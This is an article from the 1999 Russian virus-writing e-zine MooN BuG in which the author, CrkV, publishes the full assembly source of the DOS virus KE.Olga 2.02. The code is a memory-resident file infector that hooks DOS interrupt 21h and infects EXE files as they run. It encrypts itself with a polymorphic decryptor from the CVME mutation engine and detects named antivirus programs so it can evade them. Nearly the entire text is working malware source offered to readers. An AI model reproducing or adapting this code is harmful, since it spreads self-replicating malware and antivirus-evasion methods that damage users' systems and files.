╔════════╤════════════════════════════════════════════════════╤══════════╤═══╗
║Okt 1999│NF представляет электронный журнал MooN BuG issue 11│ CrkV │00F║
╟────────┴────────────────────────────────────────────────────┴──────────┴───╢
║ Вирус KE.Olga, как пример использования CVME ║
╚════════════════════════════════════════════════════════════════════════════╝
В прошлом номере я опубликовал вирус KE, новую версию которого я
представляю нашим читателям. Кроме небольших изменений в алгоритме работы,
вирус стал линейно шифровать свое тело, генерируя при этом полиморфный
расшифровщик, написанный на основе CVME. Ну и конечно же, я не забыл свою
подругу, дав ее имя этому вирю ;-)))
=== Cut === OLGA.ASM
;Вирус KE.OLGA 2.02 (c) 1998, 1999 by CrkV
;use tasm olga.asm /m2 (для оптимизации)
; tlink olga.obj
;WARNING !!! Для компиляции использовать TASM 2.0 - 3.2
Debug EQU 0 ;Для отладки Debug = 1
IF Debug ;обработчик Int 21h
Int21h EQU 21h
Fexec EQU 4B00h ;функция запуска
XB EQU 0 ;1 байт для XOR в Int 21h
XB2 EQU 0 ;2 байт -\\-
BPr EQU 1 ;байт проверки резидента
SInt EQU 21h ;устанавливаемый вектор
ELSE
Int21h EQU 03h
Fexec EQU 4B00h ;функция запуска
XB EQU 'K' ;1 байт для XOR в Int 21h
XB2 EQU 'E' ;2 байт -\\-
BPr EQU XB2 ;байт проверки резидента
SInt EQU 21h
ENDIF
XW EQU XB Shl 8 + XB2 ;Слово для XOR в Int 21h
.386
;===================================================================
; 0123456789 123456789 123456789 123456789 123456789 123456789
;===================================================================
CSeg Segment Para USE16 'code'
Assume Cs:CSeg,Ds:CSeg,Ss:CSeg,Es:CSeg
Olga:
;Начало вирусного кода
PushF
PushA
Push Ds
Align 2
EntryPoint:
Push Es
Mov Bp,Offset EntryPoint-100h
SizePrg = Word Ptr $ - 2 - Offset EntryPoint
Mov Ax,5200h + XB
Int 21h
Cmp Al,BPr ;резидент установлен ?
Je @All_Installed
Pop Dx
Push Dx
Mov Ax,3500h + SInt
Int 21h ;дать адрес Int 21h
Mov Ss:[Bp+Ofs21h],Bx
Mov Ss:[Bp+Seg21h],Es
Sub Di,Di
Mov Es,Dx
@Get_Memory:
;--------- Memory Control Block structure --------------
MCB struc
MCB_sig db ? ; 'Z' or 'M'
MCB_owner dw ? ; attribute of owner
MCB_size dw ? ; size of MCB block
MCB_name db 8 dup(?) ; file name of owner
MCB ends
;-------------------------------------------------------
Mov Ah,48h
Mov Bx,ReqMem
Int 21h ;запросить блок памяти
Jnc @Alloc_Mem
Dec Dx ;Dx - PSP
Mov Ds,Dx ;MCB блок
Sub Word Ptr Ds:[Di+12h],ReqMem + 1 ;уменьшаем размер памяти в PSP
Mov Bx,Ds:[Di+03h] ;размер блока
Sub Bx,ReqMem + 1
Mov Ah,4Ah
Int 21h ;уменьшаем размер текущего блока
Jmp @Get_Memory
@Alloc_Mem:
Mov Es,Ax
Dec Ax
Mov Ds,Ax ;MCB полученного блока
Mov Word Ptr Ds:[Di+01h],08h;параграф описываемого блока
Mov Cx,VirLenght
Push Ss
Pop Ds
Lea Si,[Bp+100h]
Cld
Rep MovSB ;копируем вирус в память
Push Es
Pop Ds
Call SetMy21
@All_Installed:
Push Ss
Pop Ds
;закрываем адресную линию A20
Mov Ax,4300h
Int 2Fh
Cmp Al,80h
Jne @No_Himem ;Himem.Sys не загружен
Mov Ax,4310h ;дать адрес
Int 2Fh
Push Es Bx
Mov Si,Sp
Call DWord Ptr [Si]
Pop Ax Ax Es Ds
@No_Himem:
PopA
PopF
Add Dx,100h
SaveSs = Word Ptr $ - 2 - Offset EntryPoint
Mov Di,0FFF0h
SaveSp = Word Ptr $ - 2 - Offset EntryPoint
Mov Si,0000h
SaveIp = Word Ptr $ - 2 - Offset EntryPoint
Mov Ss,Dx
Mov Sp,Di
;в принципе надо запрещать прерывания и возвращать по IRet
;т.к. область стека может попасть на следующие команды, но ...
Mov Dx,Ds
Add Dx,1234h
SaveCs = Word Ptr $ - 2 - Offset EntryPoint
Org $ - 2
dw 0000h
Push Dx Si
Mov Dx,Ds
Retf
;-------------------------------------------------------
SetMy21 Proc
Mov Dx,Offset New21h
Set21: Mov Ax,2500h + SInt
Int 21h ;устанавливаем вектор 21h
Ret
SetMy21 EndP
;-------------- обработчик Int 24h ---------------------
New24h EQU $ - Offset EntryPoint
Mov Al,03h
IRet
;-------------- обработчик Int 21h ---------------------
New21h EQU $ - Offset EntryPoint
PushF
PushA
Mov Bp,Sp
Cli
Mov [Bp-7],Ax
db 67h ;префиксы смены разрядности
PushFD
Pop Cx
And Ch,01b
Pop Cx
Jnz @Not_Exec
Xor Ax,XW
Mov Si,[Bp-7]
Xor Si,Ax
Sub Si,XW
Jne @Not_Exec
Sti
; Test Byte Ptr [Bp+23],01
; Jnz @Not_Exec
Cmp Ax,(5200h + XB) Xor XW
Jne @Not_Check
PopA
Mov Al,BPr
Jmp @Ex_PopF
@Not_Check:
Cmp Ax,Fexec Xor XW
Jnz @Not_Exec
Call Exec
@Not_Exec:
PopA
@Ex_PopF:
PopF
@Ex_21h:
db 0EAh ;Jmp Far Seg:Ofs
Ofs21h = Word Ptr $ - Offset EntryPoint + 100h
dw ?
Seg21h = Word Ptr $ - Offset EntryPoint + 100h
dw ?
;------------- 2 обработчик Int 21h --------------------
New21h2 EQU $ - Offset EntryPoint
Xor Ax,XW
Jmp @Ex_21h
;-------------------------------------------------------
@Exec_Antivir:
LDs Dx,Cs:[Ofs21h-100h] ;восстанавливаем Int 21h
Call Set21 ;который был до нас
Pop Es Ds Ax ;Ax - Ret
PopA ;запускаем антивирь
Call DWord Ptr Cs:[Ofs21h-100h] ;Int 21h Ax=4B00h
PushA
Push Ds Es Cs
Pop Ds
Mov Ax,3500h + SInt
Int 21h
Mov Ds:[Ofs21h-100h],Bx ;запоминаем новый Int 21h
Mov Ds:[Seg21h-100h],Es
Call SetMy21 ;снова устанавливаем свой Int 21h
Pop Es Ds
PopA
RetF 02h
;-------------------------------------------------------
SetAtr Proc
;устанавливает атрибуты файла
Mov Ax,4301h Xor XW
Int Int21h
Ret
SetAtr EndP
;-------------------------------------------------------
WriteF Proc
;записывает данные в файл Ds:Dx - буфер, Cx - размер
Mov Ah,40h Xor XB
Int Int21h
Ret
WriteF EndP
;-------------------------------------------------------
SetFPE Proc
;устанавливает указатель записи в файл на конец файла
Mov Al,02h Xor XB2
SetFP: Mov Ah,42h Xor XB
Sub Cx,Cx
BC EQU (42h Xor XB) And 80h
IF BC ;Просто напросто обнуляем Dx
Sub Dx,Dx
ELSE
Cwd ;Если старший бит Ax 0 (экономим байт ;)
EndIF
Int Int21h
Ret
SetFPE Endp
;-------------------------------------------------------
Infect Proc
;Si - размер рандомной части, Bp - слово для шифрования
Mov Ax,5700h Xor XW
Int Int21h ;получить время созд.(изм.) файла
Push Cx Dx
Mov Dx,Buffer
Mov Cx,Si
Call WriteF ;запишем рандомную часть
Jc @Exit_Infect_Time
Sub Si,Si ;0 байт (если не записался вирь)
Cmp Ax,Cx
Mov Al,02h Xor XB2 ;запишем 0 байт к концу (отрежем вирь),
Jne @Write_Error
Mov Cx,VirLenght Shr 1
Push Cx Dx Dx
Mov Di,Dx
Sub Si,Si
Repe MovSW
Pop Si Di Cx
@LoopSh:LodSW
Rnd_Com EQU $ - Offset EntryPoint
Xor Bp,Ax
Inc Bp
Inc Bp
StoSW
Loop @LoopSh
Mov Cx,VirLenght
Mov Di,Cx
Call WriteF ;запишем зашифрованное тело виря
Jc @Exit_Infect_Time
Sub Si,Si
Cmp Ax,Cx
Mov Al,02h Xor XB2 ;запишем 0 байт к концу (отрежем вирь),
Jne @Write_Error
;модифицируем данные о размере программы
Call SetFPE ;получить размер файла
Mov Cx,200h
Div Cx
Or Dx,Dx
Je @512
Inc Ax
@512: Mov [Di+02h],Dx
Mov [Di+04h],Ax
Xor Dx,XW
Mov [Di+12h],Dx ;метка вируса
Mov Al,00h Xor XB2 ;подготовимся к модификации начала
Mov Si,1Ah
@Write_Error:
Call SetFP
Mov Dx,Di
Mov Cx,Si
Call WriteF ;модифицируем начало или обрезаем
@Exit_Infect_Time:
Mov Ax,5701h Xor XW
Pop Dx Cx
Int Int21h ;восстанавливаем время
Ret
Infect Endp
;-------------------------------------------------------
Exec Proc
Push Ds Es Ds
Pop Es
Mov Di,Dx
Mov Cx,0FFFFh
Sub Al,Al
Repne ScaSB
Mov Ax,[Di-07h]
And Ax,1101111111011111b
Push Cs
Pop Es
Mov Cx,SizeNI ;проверка на неинфицируемые файлы
Mov Di,Offset OfsNI
Repne ScaSW
Jne @Not_NI
Pop Es Ds
Ret
@Not_NI:
Mov Cx,SizeAV
Mov Di,Offset OfsAV
Repne ScaSW
Je @Exec_Antivir
Mov Ax,3500h + Int21h ;дать адрес обработчика, который
Int 21h ;будет использоваться вместо Int21h
Push Es Bx
Mov Al,24h
Int 21h ;дать адрес обработчика кр.ош. Int 24h
Push Es Bx Ds Dx Cs
Pop Ds
Mov Ah,25h
Mov Dx,Offset New24h
Int 21h ;устанавливаем вектор 24h
Mov Al,Int21h
Mov Dx,Offset New21h2
Int 21h ;устанавливаем вектор для Int 21h
Pop Dx Ds
Mov Ax,4300h Xor XW
Int Int21h ;получить атрибуты файла
Push Cx
Sub Cx,Cx
Call SetAtr ;очищаем атрибуты файла
Pop Cx
Jc @Error_Atr
Push Cx
Mov Ax,3D02h Xor XW
Int Int21h ;открываем файл в режиме (чт./зп.)
Jc @Error_Open
Xchg Bx,Ax ;Ax - Handle файла
Push Ds Dx Cs Cs
Pop Es Ds
Mov Si,VirLenght
Mov Ah,3Fh Xor XB
Mov Cx,1Ah
Mov Dx,Si
CmpSW ;Si - Exe Header + 2
Int Int21h ;читаем первые 1Ah байт файла
Call SetFPE
Or Dx,Dx
Jz @Exit_Infect
Xchg Bp,Ax
Mov Di,Dx
Cmp Byte Ptr [Si+16h],40h ;Windows ? По идеи размер этих файлов
Je @Exit_Infect ;не совпадает с размером в DOS-EXE
;заголовке. Но не всегда... KRNL386.EXE
Mov Ax,[Si]
Xor Ax,XW
Cmp [Si+10h],Ax ;возможно инфицирован ?
Je @Exit_Infect
Mov Ax,Bp
Mov Cx,200h
Div Cx ;Ax - размер файла в 512 байтных кусках
Or Dx,Dx
Jz @Equal_512
Inc Ax
@Equal_512:
Cmp Dx,[Si] ;проверяем оверлейность
Jne @Exit_Infect
Cmp Ax,[Si+02h]
Jne @Exit_Infect
Xchg Ax,Bp
Mov Dx,Di
Mov Cx,10h
Div Cx
Push Bx Dx
Sub Ax,[Si+06h] ;размер заголовка
Mov Di,Ax
Xchg Ax,[Si+14h] ;Cs
Add Ax,Cx
Mov Bp,-100h
Add Bp,Dx
Mov Ds:SizePrg,Bp
Mov Ds:SaveCs,Ax
Xchg Dx,[Si+12h] ;Ip
Mov Ds:SaveIp,Dx
Xchg Di,[Si+0Ch]
Add Di,Cx
Mov Ds:SaveSs,Di ;Ss = Cs
Mov Ax,((VirLenght Shr 1) Shl 1) + 800h
Xchg Ax,[Si+0Eh] ;Sp
Mov Ds:SaveSp,Ax
Mov Si,18h
Mov Di,Buffer
Mov Si,Di
;генерируем полиморфный расшифровщик, используя подпрограммы CVME
Mov Ax,609Ch
StoSW
Mov Dx,1111111100010000b
Call Reg_Musor
Mov Al,1Eh ;Push Ds
Call Com_Musor
Mov Al,0Eh ;Push Cs
Call Com_Musor
Mov Al,1Fh ;Pop Ds
Call Com_Musor
In Ax,40h
Xchg Ah,Al
Shr Ax,1
Push Ax ;рандомное значение
Xchg Cx,Ax
Mov Dx,1111111100010111b ;Bx,Bp,Si,Di
Call GetFrRS ;регистр базы
And Dl,11111000b ;Sp - не используем
Push Ax
Push Ax
Call LoadReg
Call Reg_Musor
Call @LeaTabBI
TabBI db 0,0,0,9Fh,0,0AEh,0B4h,0BDh
@LeaTabBI:
Pop Bx
Pop Cx
Mov Ax,Cx
Xlat
Xchg Cx,Ax
Call Rand04
Mov Ah,Cl
Cmp Al,01h
Jb @R_Xor
Je @R_Add
Mov Al,29h
Mov Cl,01h
Jmp @R_Sub
@R_Add: Mov Al,01h
Mov Cl,29h
Jmp @R_Sub
@R_Xor: Mov Al,31h
Mov Cl,31h
@R_Sub: Mov Byte Ptr Ds:[Rnd_Com],Cl
Mov Cx,Di
StoSW
Pop Ax ;регистр
Push Di
StoSW
Call Reg_Musor
Or Al,01000000b ;Inc
StoSB
Call Reg_Musor
Mov Ah,81h ;Cmp
StoSW
Or Al,11111000b
StoSB
Push Di ;значение
Mov Al,75h ;Jne
StoSW
StoSW
Sub Cx,Di
Mov [Di-1],Cl
Sub Di,Buffer ;размер 1 части
Add Ds:SizePrg,Di
Mov Si,Di
Mov Bp,Sp
Add Di,[Bp+6] ;стартовое Ip
Sub Di,[Bp+4] ;рандомное значение
Mov Bx,[Bp+2] ;адрес в команде шифрования
Mov [Bx],Di
Mov Di,[Bp+4]
Mov Bx,[Bp+0] ;адрес в команде сравнения
Add Di,VirLenght
Mov [Bx],Di
Pop Bp Bp Bp Bx Bx ;Bp:=Random
Call Infect
@Exit_Infect:
Mov Ah,3Eh Xor XB
Int Int21h ;закрываем файл
Pop Dx Ds
@Error_Open:
Pop Cx
Call SetAtr ;восстанавливаем атрибуты
@Error_Atr:
Pop Dx Ds
Mov Ax,2524h Xor XW
Int Int21h ;восстанавливаем вектора прерываний
Pop Dx Ds
Mov Al,Int21h
Int 21h
Pop Es Ds
Ret
Exec EndP
;------------------- [CVME 1.01] -----------------------
LoadR2 Proc
Push Ax
In Ax,40h
Test Al,10b
Pop Ax
Jz LoadReg
;команды Mov Rg16,Im16 (Random1)
; несколько мусора
; Add (Sub, Xor)
Push Bx Ax Cx
Xchg Ax,Cx
In Ax,40h
Push Ax
Xchg Cx,Ax
Call LoadReg
Mov Al,81h
Stosb
Pop Cx Bx ;Cx:=Rand1
Call Rand08
Cmp Al,01h
Pop Ax
Jg @Xor
Je @Sub
Or Al,11000000b ;11000xxxb (Add R16,Im16)
@CM00: Sub Bx,Cx
Jmp @CR2
@Sub: Or Al,11101000b ;11101xxxb (Sub R16,Im16)
Xchg Bx,Cx
Jmp @CM00
@Xor: Or Al,11110000b ;11110xxxb (Xor R16,Im16)
Xor Bx,Cx
@CR2: StoSB
Xchg Ax,Bx
StoSW
Pop Bx
Ret
LoadR2 Endp
;-------------------------------------------------------
LoadReg Proc
;генерирует команду(ы) загрузки регистра
;Ax - используемый регистр
;Cx - значение
;Es:Di - буфер
;на выходе: Es:Di - буфер для новой команды
Push Ax
In Ax,40h
Test Al,100b
Pop Ax
Je LM1
;---------------------------
LM0 Proc
;команда Mov Rg16,Im
Push Ax
Or Al,10111000b ;Mov Rg16,Im
StoSB
XChg Cx,Ax
StoSW
Pop Ax
Ret
LM0 Endp
;---------------------------
LM1 Proc
;команды Push Im16
; несколько мусора
; Pop R16
Or Al,01011000b ;Pop R16
Push Ax
Mov Al,68h ;Push Im16
StoSB
XChg Cx,Ax
StoSW
Test Dh,00000100b ;мусор нужен ???
Jz @NoRbL1
Call GetMDx
@NoRbL1:Pop Ax
StoSB
Ret
LM1 Endp
;---------------------------
LoadReg Endp
;-------------------------------------------------------
GetFrR Proc
;(Вых) Al - свободный регистр
@NextR: Call Rand08
Bt Dx,Ax
Jc @NextR ;Регистр уже используется
Ret
GetFrR Endp
;-------------------------------------------------------
GetFrRS Proc
;(Вых) Al - свободный регистр (объявляется занятым)
@NextRS:Call Rand08
Bts Dx,Ax
Jc @NextRS ;Регистр уже используется
Ret
GetFrRS Endp
;-------------------------------------------------------
GetMus Proc
;генерирует мусор
Push Ax Bx Cx
Sub Cx,Cx
Call Rand16
Test Al,1100b ;Без команды (00xxb)
Jz @G00
Call RndSt2
Cmp Al,0110b
Jg @M01
Call RndID
@M01: Call RndCom
@M02: Call RndStDx
Call ClrStack
@G00: Pop Cx Bx Ax
Ret
GetMus Endp
;-------------------------------------------------------
Com_Musor:
StoSB
Reg_Musor:
GetMDx Proc
Test Dh,00000001b ;мусор нужен ???
Jz @NoM01
Call GetMus
@NoM01: Ret
GetMDx Endp
;-------------------------------------------------------
Random Proc
Push Cx Dx
In Ax,40h
Sub Dx,Dx
Sub Cx,Cx
Mov Cl,Al
JCxZ Random + 2
Div Cx
In Al,40h
Mov Ah,Dh
Pop Dx Cx
Ret
Random EndP
;-------------------------------------------------------
Rand04 Proc
In Ax,40h
And Ax,11b
Ret
Rand04 EndP
;-------------------------------------------------------
Rand08 Proc
In Ax,40h
And Ax,111b
Ret
Rand08 EndP
;-------------------------------------------------------
Rand16 Proc
Call Random
And Ax,1111b
Ret
Rand16 EndP
;-------------------------------------------------------
Push16 Proc
;генерирует команду помещения в стек
Push Ax
Call Random
And Ax,111b
Cmp Al,01h
Jge @P_00
Mov Al,68h ;Push Im16 (00h)
StoSB
In Ax,40h
StoSW
Pop Ax
Ret
@P_00: Jne @P_01
Mov Al,6Ah ;Push Im8 (01h)
StoSB
In Al,40h
@P_ExB: StoSB
Pop Ax
Ret
@P_01: Cmp Al,05h
Jne @P_05
Mov Al,9Ch ;PushF (05h)
Jmp @P_ExB
@P_05: Jg @P_08
Call Rand04
Shl Al,3
Or Al,00000110b ;000xx110 Push SR (03h,04h)
Jmp @P_ExB
@P_08: Call Rand08
Or Al,01010000b ;01010xxx Push R16 (06h-08h)
Jmp @P_ExB
Push16 EndP
;-------------------------------------------------------
RndStack Proc
;генерирует случайные команды работы со стеком
Push Ax
In Ax,40h
Test Al,11b
Jnz @ExP00
Call Push16
Inc Cx
@ExP00: In Ax,40h
Test Al,11100b
Jnz @ExP01
JCxZ @ExP01 ;В стеке ничего нет
Call GetFrR
Or Al,01011000b ;01011xxx Pop R16
StoSB
Dec Cx
@ExP01: Pop Ax
Ret
RndStack EndP
;-------------------------------------------------------
RndStDx Proc
Test Dh,00000010b ;мусор нужен ???
Jz @NoMSt
Call RndStack
@NoMSt: Ret
RndStDx EndP
;-------------------------------------------------------
RndSt2 Proc
Call RndStDx
Jmp RndStDx
RndSt2 EndP
;-------------------------------------------------------
ClrStack Proc
JCxZ @ExCS ;В стеке ничего нет
Push Ax
@LpCS: Call GetFrR
Or Al,01011000b ;01011xxx Pop R16
StoSB
Loop @LpCS
Pop Ax
@ExCs: Ret
ClrStack EndP
;-------------------------------------------------------
RndID Proc
Push Ax
In Ax,40h
Mov Bl,01000000b ;Inc (00h)
Test Al,001b
Jne @MID00
Mov Bl,01001000b ;Dec (01h)
@MID00: Call GetFrR
Or Al,Bl
StoSB
Pop Ax
Ret
RndID EndP
;-------------------------------------------------------
RndCom Proc
Push Ax Bx
Call Random
Test Al,111b
Jnz @NMov
Call GetFrR
Or Al,0B8h ;10111xxx - Mov R16,Im
StoSB
Jmp @ExRC16
@NMov: Call Rand08
Shl Al,3 ;00xxx011b - команда
Or Ax,00000011b ;Устанавливаем биты направления и разр.
StoSB
In Ax,40h
And Al,11000111b ;Reg1
Xchg Ax,Bx
Call GetFrR
Shl Al,3
Or Al,Bl
StoSB ;Byte R/M
Shr Al,6
Cmp Al,10b
Jg @ExRC ;Com R16,R16
Je @ExRC16 ;Com R16,[RBI+Ofs16]
Cmp Bl,00000110b ;Com R16,[Mem]
Je @ExRC16
Cmp Al,00h ;Com R16,[RBI]
Je @ExRC
In Ax,40h
StoSB
Jmp @ExRC
@ExRC16:In Ax,40h
StoSW
@ExRC: Pop Bx Ax
Ret
RndCom EndP
;-------------------------------------------------------
OfsNI EQU $ - Offset EntryPoint ;не заражаем
LineNI db 'NDINSTNF' ;Command,Win,AidsTest,Adinf
SizeNI EQU ($ - OfsNI - Offset EntryPoint)/2
OfsAV EQU $ - Offset EntryPoint ;антивири
LineAV db 'VPTEEBDXIRAN' ;AVP,AVPlite,DrWEB,NAVDX,AVIR,MSCAN
SizeAV EQU ($ - OfsAV - Offset EntryPoint)/2
VirName db '[KE.OLGA 2.02 with CVME 1.01]'
Align 2
;-------------------------------------------------------
VirLenght EQU $ - Offset EntryPoint
VLM EQU VirLenght Mod 512
VLD EQU VirLenght / 512
;-------------------------------------------------------
db 1Ah Dup (?)
ReqMem EQU ($ - Offset EntryPoint) Shr 3 + 1
Buffer EQU $ - Offset EntryPoint
;-------------------------------------------------------
CSeg EndS
End Olga
=== Cut ===